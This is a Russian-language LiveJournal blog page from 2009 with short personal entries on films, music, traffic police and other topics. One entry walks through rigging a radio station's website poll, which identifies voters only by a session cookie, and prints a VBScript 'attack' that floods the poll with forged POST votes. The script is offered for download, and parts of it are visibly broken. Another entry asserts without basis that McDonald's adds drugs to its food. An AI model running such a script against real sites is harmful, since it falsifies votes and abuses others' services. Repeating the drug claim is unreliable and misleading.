Home

Advertisement

ЖЖурналъ

> Recent Entries
> Archive
> Friends
> User Info
> My Website
> previous 20 entries

29th November, 2009


13:09


http://mihail-kukuruza.livejournal.com/111973.html

(Leave a comment)

02:31 - Счастливчики

(Leave a comment)

02:30
Я даже не сразу понял, что не так на картинке.


(Leave a comment)

14th November, 2009


15:01 - Идентификация
Антон, я нашел как называется фильм — Идентификация. Всем рекомендую посмотреть его. Кьюсак и Лиотто как всегда душки.

П. С. Оказывается Аманда Пит и Джон Кьюсак играли вместе не раз:
2012 (2009)
Идентификация (2003)
Дитя с Марса (2007)
Tags:

(1 comment | Leave a comment)

13th November, 2009


22:29

(Leave a comment)

11th November, 2009


10:52 - Голосовалка
Родился скрипт, который может накручивать голосование на любое количество голосов за любой вариант на сайте Радио Рок 95.2 FM. Скачать скрипт.

Решил разжевать подробно, если кого-то заинтересуют детали. Дальше идёт нудятина.

Прогулялся я вчера по сайту Радио Рок 95.2 FM и обнаружил там замечательную голосовалку: «Где вы чаще всего слушаете РАДИО 95.2FM?». Как сознательный пользователь и человек, которому эта станция симпатична, я проголосовал за тот вариант, который соответствует действительности — «На работе», и увидел результат. Оказалось, большинство людей слушает эту станцию в машине. Ну да ладно.

Так как у станции вообще сайт появился недавно (раньше на этом домене была заглушка) мне стало интересно поковырять его, а заодно проверить голосовалку на предмет обмана. Обмануть удалось. Более того, удалось написать VB-скрипт, который накручивает голосование на нужное количество голосов. Принцип голосования прост как яблочный пирог. Ну или яичница.

При отправке своего голоса второй раз, проголосовать не удаётся. Сайт оставляет куку PHPSESSID и идентифицирует вас по ней. Если её удалить, то, обновив страницу, сайт снова позволит вам проголосовать. Поковыряв код страницы нашел такой код формы:
<form action="index.php?mod=voting" method="POST">
<input type="radio" name="variant" value="В машине">
<
font color=white>В машине</font><br><br>
<input type="radio" name="variant" value=" На работе">
<font color=white> На работе</font><br><br>
<input type="radio" name="variant" value=" Дома">
<font color=white> Дома</font><br><br>
<input type="radio" name="variant" value=" В плеере">
<font color=white> В плеере</font><br><br>
<center><input type="image" src="themes/default/vote_button.gif" value="Голосовать!"></center>
</form>

* This source code was highlighted with Source Code Highlighter.
который говорит нам следующее: форма отправляет вариант, который вы выбрали, методом POST через переменную variant.

Для тех, кому это не кажется очевидным, наглядно посмотреть что отправляется POST-параметрами можно через дополнение Temper Data для FireFox-а, которое покажет примерно следующее (нас интересует правая часть окна, значение переменной variant):



Теперь, зная технологию голосования, можно его автоматизировать. К сожалению, под рукой не было никаких средств разработки, устанавливать PHP не очень хотелось. Был вариант написать на Delphi, но я его отмёл как громоздкий. Тут я вспомнил, что совершенно недавно писал VB-скрипт, который получал данные из странички используя MSXML2.XMLHTTP, — его-то я и решил использовать как шаблон.

Сказано — сделано. После небольшой отладки родился вот такой скрипт:

Option Explicit

Dim objHTTP, i, Num, Cnt

WScript.StdOut.WriteLine "95i2.fm voiting attack"
WScript.StdOut.WriteLine

' init --->
Dim v(3), v_descr(3)

v(0) = "%C2%20%EC%E0%F8%E8%ED%E5"
v_descr(0) = "В машине"

v(1) = "%20%CD%E0%20%F0%E0%E1%EE%F2%E5"
v_descr(1) = " На работе"

v_descr(2) = "%20%C4%EE%EC%E0"
v_descr(2) = " Дома"

v(3) = "%20%C2%20%EF%EB%E5%E5%F0%E5"
v_descr(3) = " В плеере"
' <--- init

' variants menu --->
Dim n, c
n = 0
For Each c In
  WScript.StdOut.WriteLine n & ". " & """" & v_descr(n) & """"
  n = n + 1
Next
' <--- variants menu

WScript.StdOut.WriteLine
WScript.StdOut.Write "Enter variant for upgrade and press Enter: "
Num = WScript.StdIn.Read(3)

If CInt(Num) <= (UBound(v) + 1) Then
 WScript.StdOut.WriteLine "Ok. Your choice: " & """" & v_descr(Num) & """"
 
 WScript.StdOut.WriteLine
 WScript.StdOut.Write "Enter count for upgrade: "
 Cnt = WScript.StdIn.Read(3)
 
 ' atack! --->
 If CInt(Cnt) > 0 Then 
  For i = 1 To Cnt
   WScript.StdOut.Write "Request: " & i & "... "
   
   Set objHTTP = CreateObject("MSXML2.XMLHTTP")
   objHTTP.Open "POST", "http://95i2.fm/index.php?mod=voting", False
   
   objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
   objHTTP.setRequestHeader "Host", "95i2.fm"
   objHTTP.setRequestHeader "Referer", "http://95i2.fm/index.php"
   
   objHTTP.send "variant=" & v(Num)
   
   Set objHTTP = Nothing
   WScript.StdOut.WriteLine "Ok"
  Next
  WScript.StdOut.WriteLine
  WScript.StdOut.WriteLine "All done!"
 Else
  WScript.StdOut.WriteLine """" & CInt(Cnt) & """" & " - is incorrect value"
 End If ' <--- atack! 
End If

WScript.StdOut.WriteLine
Wscript.StdOut.Write "Press the Enter to continue."
Do While Not WScript.StdIn.AtEndOfLine
  Input = WScript.StdIn.Read(2)
Loop


* This source code was highlighted with Source Code Highlighter.
Скачать скрипт

Запускается скрипт просто:



В результате программа задаст пару вопросов и начнёт накрутку…



Спасибо, пожалуйста.


(1 comment | Leave a comment)

10th November, 2009


18:27 - Emily and Fiona
Радио Рок 95.2 в исполнении двух девочек. Зацените, это прекрасно. Я плачу.




(Leave a comment)

9th November, 2009


14:45 - Универсальный солдат: возвращение
Пример того, как один из саундтреков может быть лучше самого фильма.

(Leave a comment)

09:11 - Mr. Freeman
Интервью

(Leave a comment)

6th November, 2009


15:52 - Фотоаппарат
Я вот иногда просто радуюсь, что у меня его никогда не было. Это ж как наверное надоедает, когда тебя постоянно дёргают со своими «— Скинь фотки, плиз!», «— А залей фотки мне куда-нибудь?», «— Ты уже скинул фотки на комп?». И чем интенсивнее запрашивать фотки у фотографа, тем медленнее он их отдаёт.

(1 comment | Leave a comment)

5th November, 2009


19:49 - Педофобия
несколько вопиющих прецендентов педофобского законотворчества в США

[info]bartalomeo, [info]dadakinder

(Leave a comment)

11:51 - Стройка
Рассказ о том как человек, разочарованный качеством услуг, предоставляемых существующими дата-центрами, взял и сделал свой дата-центр. В картинках. Интересно.

«Как я строил свой дата-центр»
Часть первая. Часть вторая. Часть третья.

(Leave a comment)

10:59
Луна 2112 ахуенна. Новый альбом Металлики тоже доставляет.

Зацените видео песни с этого альбома. Клип просто отличный. А ведь в начале кажется, что говно.


Metallica - All Nightmare Long

Metallica | Видео на MySpace

(1 comment | Leave a comment)

30th October, 2009


08:37 - Доблестная, честная и сердцу дорогая…
…госавтоинспекция, ты нам как мать родная. А что у нас в ГИБДД до сих пор применяются планы по штрафам? В этом месяце должно быть 8 наездов на пешеходов из них 3 со смертельным исходом, 120 ДТП, 15 угонов. Так что ли? Я худею.

(Leave a comment)

29th October, 2009


20:21 - Шикарная реклама

(1 comment | Leave a comment)

19:58 - Пообщаться с Фриманом
У Мистера Фримана открылся форум. Впрочем не сильно посещаемый. Пока.

(Leave a comment)

28th October, 2009


10:58 - Доктор Хаус
Вот такой вот аукцион




(Leave a comment)

27th October, 2009


17:02 - Аномальное
Заметил, что если перестать пользоваться дезодорантом от пота, то начинаешь пахнуть как-то особо ароматно.
Наверняка это всё маркетинговый заговор косметологических фирм, которые добавляют что-то в свои дезодоранты чтобы потоотделение усиливалось без их дезодорантов. Ну это в принципе не так страшно. В макдаке вообще наркоту в еду добавляют. И в колу тоже.

(1 comment | Leave a comment)

15:59 - Фриман на Лукоморье
Оказывается на Лукоморье есть некоторая информация, которую я изложил в своём посте о [info]Мистере Фримане. Только что наткнулся с целью узнать больше, но увы ничего нового.

(1 comment | Leave a comment)

15:10 - Лавина: взгляд изнутри
 
Товарищ рассказывает как побывал в лавине.


Что-то так захотелось свой борд расчехлить и прокатиться по снежному склону…

(2 comments | Leave a comment)

> previous 20 entries
> Go to Top
LiveJournal.com

Advertisement